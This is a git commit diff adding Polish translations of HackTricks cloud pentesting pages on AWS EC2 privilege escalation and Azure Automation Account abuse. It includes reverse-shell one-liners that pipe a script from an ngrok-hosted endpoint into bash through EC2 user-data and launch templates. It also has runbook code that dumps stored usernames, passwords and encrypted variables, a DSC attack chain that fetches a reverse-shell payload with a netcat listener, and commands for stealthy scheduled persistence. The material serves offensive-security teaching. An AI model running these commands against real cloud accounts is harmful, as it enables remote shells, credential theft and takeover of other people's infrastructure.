Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-01-10 12:04:10 +00:00
parent 443dcdf033
commit d27bf282e2
7 changed files with 503 additions and 266 deletions
+2 -2
View File
@@ -406,8 +406,7 @@
- [Az - ACR](pentesting-cloud/azure-security/az-services/az-acr.md)
- [Az - Application Proxy](pentesting-cloud/azure-security/az-services/az-application-proxy.md)
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
- [Az - Automation Account](pentesting-cloud/azure-security/az-services/az-automation-account/README.md)
- [Az - State Configuration RCE](pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md)
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
- [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
- [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
@@ -454,6 +453,7 @@
- [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md)
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
- [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md)
- [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
```
- **Dostęp przez rev shell w danych użytkownika**
Możesz uruchomić nową instancję, używając **danych użytkownika** (`--user-data`), które wyślą ci **rev shell**. Nie musisz w ten sposób określać grupy zabezpieczeń.
Możesz uruchomić nową instancję używając **danych użytkownika** (`--user-data`), które wyślą ci **rev shell**. Nie musisz w ten sposób określać grupy zabezpieczeń.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -44,7 +44,7 @@ Uważaj na GuradDuty, jeśli używasz poświadczeń roli IAM poza instancją:
#### Privesc do ECS
Z tym zestawem uprawnień możesz również **utworzyć instancję EC2 i zarejestrować ją w klastrze ECS**. W ten sposób usługi ECS **będą uruchamiane** w **instancji EC2**, do której masz dostęp, a następnie możesz przeniknąć te usługi (kontenery dockerowe) i **ukraść ich przypisane role ECS**.
Z tym zestawem uprawnień możesz również **utworzyć instancję EC2 i zarejestrować ją w klastrze ECS**. W ten sposób usługi ECS **będą** **uruchamiane** w **instancji EC2**, do której masz dostęp, a następnie możesz przeniknąć te usługi (kontenery dockerowe) i **ukraść ich przypisane role ECS**.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -82,7 +82,7 @@ aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name
```
Jeśli **profil instancji ma rolę** i atakujący **nie może jej usunąć**, istnieje inne obejście. Może **znaleźć** **profil instancji bez roli** lub **utworzyć nowy** (`iam:CreateInstanceProfile`), **dodać** **rolę** do tego **profilu instancji** (jak wcześniej omówiono) i **przypisać profil instancji** do skompromitowanej i**nstancji:**
- Jeśli instancja **nie ma żadnego profilu** instancji (`ec2:AssociateIamInstanceProfile`) \*
- Jeśli instancja **nie ma żadnego profilu** instancji (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
@@ -90,21 +90,19 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --ins
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
Dzięki tym uprawnieniom możliwe jest zmienienie profilu instancji powiązanego z instancją, więc jeśli atakujący miał już dostęp do instancji, będzie mógł ukraść poświadczenia dla większej liczby ról profilu instancji, zmieniając ten, który jest z nią powiązany.
Dzięki tym uprawnieniom możliwe jest zmienienie profilu instancji powiązanego z instancją, więc jeśli atak miał już dostęp do instancji, będzie mógł ukraść poświadczenia dla większej liczby ról profilu instancji, zmieniając ten, który jest z nią powiązany.
- Jeśli **ma profil instancji**, możesz **usunąć** profil instancji (`ec2:DisassociateIamInstanceProfile`) i **powiązać** go \*
- Jeśli **ma profil instancji**, możesz **usunąć** profil instancji (`ec2:DisassociateIamInstanceProfile`) i **powiązać** go.
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
- lub **zamień** **profil instancji** skompromitowanej instancji (`ec2:ReplaceIamInstanceProfileAssociation`). \*
````
- lub **zamień** **profil instancji** skompromitowanej instancji (`ec2:ReplaceIamInstanceProfileAssociation`).
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```
````
**Potencjalny wpływ:** Bezpośrednie privesc do innej roli EC2 (musisz mieć skompromitowaną instancję AWS EC2 oraz dodatkowe uprawnienia lub specyficzny status profilu instancji).
**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do innej roli EC2 (musisz mieć skompromitowaną instancję AWS EC2 oraz dodatkowe uprawnienia lub specyficzny status profilu instancji).
### `ec2:RequestSpotInstances`,`iam:PassRole`
@@ -160,11 +158,11 @@ aws ec2 modify-instance-attribute \
aws ec2 start-instances --instance-ids $INSTANCE_ID
```
**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej roli IAM EC2 przypisanej do utworzonej instancji.
**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do dowolnej roli IAM EC2 przypisanej do utworzonej instancji.
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
Atakujący z uprawnieniami **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` i `ec2:ModifyLaunchTemplate`** może stworzyć **nową wersję szablonu uruchamiania** z **rev shellem** w **danych użytkownika** i **dowolną rolą IAM EC2 na nim**, zmienić wersję domyślną, a **dowolna grupa Autoscaler** **korzystająca** z tego **szablonu uruchamiania**, która jest **skonfigurowana** do używania **najświeższej** lub **domyślnej wersji**, **ponownie uruchomi instancje** korzystające z tego szablonu i wykona rev shell.
Atakujący z uprawnieniami **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` i `ec2:ModifyLaunchTemplate`** może stworzyć **nową wersję szablonu uruchamiania** z **rev shellem** w **danych użytkownika** oraz **dowolną rolą IAM EC2 na nim**, zmienić wersję domyślną, a **dowolna grupa Autoscaler** **korzystająca** z tego **szablonu uruchamiania**, która jest **skonfigurowana** do używania **najświeższej** lub **domyślnej wersji**, **ponownie uruchomi instancje** korzystające z tego szablonu i wykona rev shell.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -182,7 +180,7 @@ aws ec2 modify-launch-template \
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
Atakujący z uprawnieniami **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** może **utworzyć konfigurację uruchomienia** z **rolą IAM** i **rev shellem** w **danych użytkownika**, a następnie **utworzyć grupę autoskalowania** z tej konfiguracji i czekać na rev shell, aby **ukraść rolę IAM**.
Atakujący z uprawnieniami **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** może **utworzyć konfigurację uruchamiania** z **rolą IAM** i **rev shellem** w **danych użytkownika**, a następnie **utworzyć grupę autoskalowania** z tej konfiguracji i czekać na rev shell, aby **ukraść rolę IAM**.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -202,7 +200,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
### `!autoscaling`
Zestaw uprawnień **`ec2:CreateLaunchTemplate`** i **`autoscaling:CreateAutoScalingGroup`** **nie wystarcza do podniesienia** uprawnień do roli IAM, ponieważ aby dołączyć rolę określoną w Konfiguracji Uruchamiania lub w Szablonie Uruchamiania **potrzebujesz uprawnień `iam:PassRole` i `ec2:RunInstances`** (co jest znanym sposobem podnoszenia uprawnień).
Zestaw uprawnień **`ec2:CreateLaunchTemplate`** i **`autoscaling:CreateAutoScalingGroup`** **nie wystarcza do podniesienia** uprawnień do roli IAM, ponieważ aby dołączyć rolę określoną w Konfiguracji Uruchamiania lub w Szablonie Uruchamiania **potrzebujesz uprawnień `iam:PassRole` i `ec2:RunInstances`** (co jest znanym sposobem na podniesienie uprawnień).
### `ec2-instance-connect:SendSSHPublicKey`
@@ -217,7 +215,7 @@ aws ec2-instance-connect send-ssh-public-key \
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
Atakujący z uprawnieniem **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** może **dodać klucz ssh do połączenia szeregowego**. Jeśli port szeregowy nie jest włączony, atakujący potrzebuje uprawnienia **`ec2:EnableSerialConsoleAccess, aby go włączyć**.
Atakujący z uprawnieniem **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** może **dodać klucz ssh do połączenia szeregowego**. Jeśli port szeregowy nie jest włączony, atakujący potrzebuje uprawnienia **`ec2:EnableSerialConsoleAccess`, aby go włączyć**.
Aby połączyć się z portem szeregowym, musisz również **znać nazwę użytkownika i hasło użytkownika** wewnątrz maszyny.
```bash
@@ -233,11 +231,11 @@ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-
```
Ten sposób nie jest zbyt przydatny do privesc, ponieważ musisz znać nazwę użytkownika i hasło, aby go wykorzystać.
**Potencjalny wpływ:** (Bardzo nieudowodniony) Bezpośredni privesc do ról IAM EC2 przypisanych do działających instancji.
**Potencjalny wpływ:** (Bardzo trudny do udowodnienia) Bezpośredni privesc do ról IAM EC2 przypisanych do działających instancji.
### `describe-launch-templates`,`describe-launch-template-versions`
Ponieważ szablony uruchamiania mają wersjonowanie, atakujący z uprawnieniami **`ec2:describe-launch-templates`** i **`ec2:describe-launch-template-versions`** mógłby wykorzystać je do odkrycia wrażliwych informacji, takich jak poświadczenia obecne w danych użytkownika. Aby to osiągnąć, poniższy skrypt przechodzi przez wszystkie wersje dostępnych szablonów uruchamiania:
Ponieważ szablony uruchamiania mają wersjonowanie, atakujący z uprawnieniami **`ec2:describe-launch-templates`** i **`ec2:describe-launch-template-versions`** mógłby je wykorzystać do odkrycia wrażliwych informacji, takich jak dane uwierzytelniające obecne w danych użytkownika. Aby to osiągnąć, poniższy skrypt przechodzi przez wszystkie wersje dostępnych szablonów uruchamiania:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
@@ -0,0 +1,239 @@
# Az - Azure Automation Accounts Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Azure Automation Accounts
Aby uzyskać więcej informacji, sprawdź:
{{#ref}}
../az-services/az-automation-accounts.md
{{#endref}}
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
Podsumowując, te uprawnienia pozwalają na **tworzenie, modyfikowanie i uruchamianie Runbooków** w Koncie Automatyzacji, które można wykorzystać do **wykonywania kodu** w kontekście Konta Automatyzacji oraz eskalacji uprawnień do przypisanych **Zarządzanych Tożsamości** i wycieku **poświadczeń** oraz **zaszyfrowanych zmiennych** przechowywanych w Koncie Automatyzacji.
Uprawnienie **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** pozwala na modyfikację kodu Runbooka w Koncie Automatyzacji przy użyciu:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
```
Zauważ, jak poprzedni skrypt może być użyty do **wycieku nazwy użytkownika i hasła** poświadczenia oraz wartości **zaszyfrowanej zmiennej** przechowywanej w Koncie Automatyzacji.
Uprawnienie **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** pozwala użytkownikowi na publikację Runbooka w Koncie Automatyzacji, aby zmiany zostały zastosowane:
```bash
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>
```
Uprawnienie **`Microsoft.Automation/automationAccounts/jobs/write`** pozwala użytkownikowi na uruchomienie Runbooka w Koncie Automatyzacji za pomocą:
```bash
az automation runbook start --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name>
```
Uprawnienie **`Microsoft.Automation/automationAccounts/jobs/output/read`** pozwala użytkownikowi na odczytanie wyniku zadania w Koncie Automatyzacji za pomocą:
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
```
Jeśli nie ma utworzonych Runbooków, lub chcesz utworzyć nowy, będziesz potrzebować **uprawnień `Microsoft.Resources/subscriptions/resourcegroups/read` oraz `Microsoft.Automation/automationAccounts/runbooks/write`** aby to zrobić za pomocą:
```bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
```
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
To uprawnienie pozwala użytkownikowi na **przypisanie tożsamości zarządzanej przez użytkownika** do Konta Automatyzacji za pomocą:
```bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
--headers "Content-Type=application/json" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
}
}
}'
```
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
Dzięki uprawnieniu **`Microsoft.Automation/automationAccounts/schedules/write`** możliwe jest utworzenie nowego harmonogramu w koncie automatyzacji, który jest wykonywany co 15 minut (niezbyt dyskretnie) za pomocą następującego polecenia.
Należy zauważyć, że **minimalny interwał dla harmonogramu wynosi 15 minut**, a **minimalny czas rozpoczęcia to 5 minut** w przyszłości.
```bash
## For linux
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every minute" \
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
## Form macOS
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every 15 minutes" \
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
```
Następnie, z uprawnieniem **`Microsoft.Automation/automationAccounts/jobSchedules/write`** możliwe jest przypisanie harmonogramu do runbooka za pomocą:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"runOn": "",
"runbook": {
"name": "<runbook-name>"
},
"schedule": {
"name": "<scheduler-name>>"
},
"parameters": {}
}
}'
```
> [!TIP]
> W poprzednim przykładzie identyfikator jobchedule został pozostawiony jako **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` jako przykład**, ale będziesz musiał użyć dowolnej wartości, aby utworzyć to przypisanie.
### `Microsoft.Automation/automationAccounts/webhooks/write`
Dzięki uprawnieniu **`Microsoft.Automation/automationAccounts/webhooks/write`** możliwe jest utworzenie nowego Webhooka dla Runbooka w ramach Konta Automatyzacji za pomocą następującego polecenia.
Zauważ, że będziesz musiał **wskazać URI webhooka** z tokenem do użycia.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2026-01-09T20:03:30.291Z",
"parameters": {},
"runOn": null,
"runbook": {
"name": "<runbook-name>"
},
"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d"
}
}'
# Then, to call the runbook using the webhook
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
```
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
Tylko z uprawnieniem `Microsoft.Automation/automationAccounts/runbooks/draft/write` można **aktualizować kod Runbooka** bez jego publikowania i uruchomić go za pomocą następujących poleceń.
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content 'echo "Hello World"'
# Run the unpublished code
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
--headers "Content-Type=application/json" \
--body '{
"parameters": {},
"runOn": "",
"runtimeEnvironment": "PowerShell-5.1"
}'
# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"
```
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
To uprawnienie pozwala użytkownikowi **skonfigurować kontrolę źródła** dla konta automatyzacji za pomocą poleceń takich jak poniższe (używa to Github jako przykład):
```bash
az automation source-control create \
--resource-group <res-group> \
--automation-account-name <automation-account-name> \
--name RemoteGithub \
--repo-url https://github.com/carlospolop/gh-runbooks.git \
--branch main \
--folder-path /runbooks/ \
--publish-runbook true \
--auto-sync \
--source-type GitHub \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
To automatycznie zaimportuje runbooki z repozytorium Github do Konta Automatyzacji, a z innymi uprawnieniami do ich uruchamiania, **możliwe będzie podniesienie uprawnień**.
Ponadto pamiętaj, że aby kontrola źródłowa działała w Kontach Automatyzacji, musi mieć zarządzaną tożsamość z rolą **`Contributor`**, a jeśli jest to zarządzana tożsamość użytkownika, można to również skonfigurować, ustawiając w zmiennej **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** **client id** zarządzanej tożsamości użytkownika do użycia.
> [!TIP]
> Zauważ, że nie można zmienić adresu URL repozytorium źródłowego po jego utworzeniu.
### Niestandardowe Środowiska Uruchomieniowe
Jeśli konto automatyzacji korzysta z niestandardowego środowiska uruchomieniowego, może być możliwe nadpisanie niestandardowego pakietu środowiska uruchomieniowego złośliwym kodem (takim jak **backdoor**). W ten sposób, gdy runbook korzystający z tego niestandardowego środowiska jest uruchamiany i ładuje niestandardowy pakiet, złośliwy kod zostanie wykonany.
### Kompromitacja Konfiguracji Stanu
**Sprawdź pełny post w:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- Krok 1 — Utwórz Pliki
**Wymagane Pliki:** Potrzebne są dwa skrypty PowerShell:
1. `reverse_shell_config.ps1`: Plik Desired State Configuration (DSC), który pobiera i wykonuje ładunek. Można go uzyskać z [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: Skrypt do publikacji konfiguracji na VM, dostępny na [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
**Dostosowanie:** Zmienne i parametry w tych plikach muszą być dostosowane do specyficznego środowiska użytkownika, w tym nazwy zasobów, ścieżki plików oraz identyfikatory serwera/ładunku.
- Krok 2 — Spakuj Plik Konfiguracji
Plik `reverse_shell_config.ps1` jest kompresowany do pliku `.zip`, co czyni go gotowym do transferu do Konta Storage Azure.
```powershell
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- Krok 3 — Ustaw kontekst magazynu i przesyłanie
Zarchiwizowany plik konfiguracyjny jest przesyłany do zdefiniowanego kontenera magazynowego Azure, azure-pentest, za pomocą polecenia Set-AzStorageBlobContent.
```powershell
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- Krok 4 — Przygotowanie Kali Box
Serwer Kali pobiera ładunek RevPS.ps1 z repozytorium GitHub.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
Skrypt jest edytowany, aby określić docelową maszynę wirtualną Windows i port dla odwrotnego powłoki.
- Krok 5 — Publikacja pliku konfiguracyjnego
Plik konfiguracyjny jest wykonywany, co skutkuje wdrożeniem skryptu odwrotnej powłoki w określonej lokalizacji na maszynie wirtualnej Windows.
- Krok 6 — Hostowanie ładunku i ustawienie nasłuchiwacza
Uruchamiany jest Python SimpleHTTPServer, aby hostować ładunek, wraz z nasłuchiwaczem Netcat do przechwytywania przychodzących połączeń.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
Zadanie zaplanowane wykonuje ładunek, osiągając uprawnienia na poziomie SYSTEM.
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,170 +0,0 @@
# Az - Automation Account
{{#include ../../../../banners/hacktricks-training.md}}
## Podstawowe informacje
[Z dokumentacji:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation dostarcza opartą na chmurze automatyzację, aktualizacje systemu operacyjnego i usługę konfiguracji, która wspiera spójną administrację w Twoich środowiskach Azure i nie-Azure. Obejmuje automatyzację procesów, zarządzanie konfiguracją, zarządzanie aktualizacjami, wspólne możliwości i heterogeniczne funkcje.
Są to jak "**zaplanowane zadania**" w Azure, które pozwalają na wykonywanie rzeczy (akcji lub nawet skryptów) w celu **zarządzania**, sprawdzania i konfigurowania **środowiska Azure**.
### Konto Run As
Gdy używane jest **Konto Run as**, tworzy aplikację Azure AD z certyfikatem samopodpisanym, tworzy **principal usługi** i przypisuje rolę **Współtwórcy** dla konta w **aktualnej subskrypcji** (wiele uprawnień).\
Microsoft zaleca użycie **Zarządzanej Tożsamości** dla Konta Automatyzacji.
> [!WARNING]
> To zostanie **usunięte 30 września 2023 i zmienione na Zarządzane Tożsamości.**
## Runbooki i zadania
**Runbooki** pozwalają na **wykonywanie dowolnego kodu PowerShell**. Może to być **nadużyte przez atakującego** w celu kradzieży uprawnień **przypisanego principal** (jeśli istnieje).\
W **kodzie** **Runbooków** można również znaleźć **wrażliwe informacje** (takie jak dane uwierzytelniające).
Jeśli możesz **czytać** **zadania**, zrób to, ponieważ **zawierają** **wynik** uruchomienia (potencjalne **wrażliwe informacje**).
Przejdź do `Automation Accounts` --> `<Wybierz Konto Automatyzacji>` --> `Runbooks/Zadania/Grupy pracowników hybrydowych/Zadania obserwatora/dane uwierzytelniające/zmienne/certyfikaty/połączenia`
### Pracownik hybrydowy
Runbook może być uruchamiany w **kontenerze w Azure** lub w **Pracowniku Hybrydowym** (maszyna nie-Azure).\
**Agent Log Analytics** jest wdrażany na VM, aby zarejestrować go jako pracownika hybrydowego.\
Zadania pracownika hybrydowego są uruchamiane jako **SYSTEM** w Windows i jako konto **nxautomation** w Linux.\
Każdy Pracownik Hybrydowy jest zarejestrowany w **Grupie Pracowników Hybrydowych**.
Dlatego, jeśli możesz wybrać uruchomienie **Runbooka** w **Windows Hybrid Worker**, wykonasz **dowolne polecenia** wewnątrz zewnętrznej maszyny jako **System** (fajna technika pivotowania).
## Kompromitacja Konfiguracji Stanu (SC)
[Z dokumentacji:](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) Azure Automation **Konstrukcja Stanu** to usługa zarządzania konfiguracją Azure, która pozwala na pisanie, zarządzanie i kompilowanie PowerShell Desired State Configuration (DSC) [konfiguracji](https://learn.microsoft.com/en-us/powershell/dsc/configurations/configurations) dla węzłów w dowolnej chmurze lub w lokalnym centrum danych. Usługa importuje również [Zasoby DSC](https://learn.microsoft.com/en-us/powershell/dsc/resources/resources) i przypisuje konfiguracje do docelowych węzłów, wszystko w chmurze. Możesz uzyskać dostęp do Azure Automation State Configuration w portalu Azure, wybierając **Konfiguracja stanu (DSC)** w sekcji **Zarządzanie konfiguracją**.
**Wrażliwe informacje** mogą być znalezione w tych konfiguracjach.
### RCE
Możliwe jest nadużycie SC do uruchamiania dowolnych skryptów na zarządzanych maszynach.
{{#ref}}
az-state-configuration-rce.md
{{#endref}}
## Enumeracja
```powershell
# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group
# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount
# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)
# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp
# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them
# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
```
### Utwórz Runbook
```powershell
# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>
# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose
# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
```
### Ekstrahowanie poświadczeń i zmiennych zdefiniowanych w koncie automatyzacji za pomocą Run Book
```powershell
# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'
$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness
# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
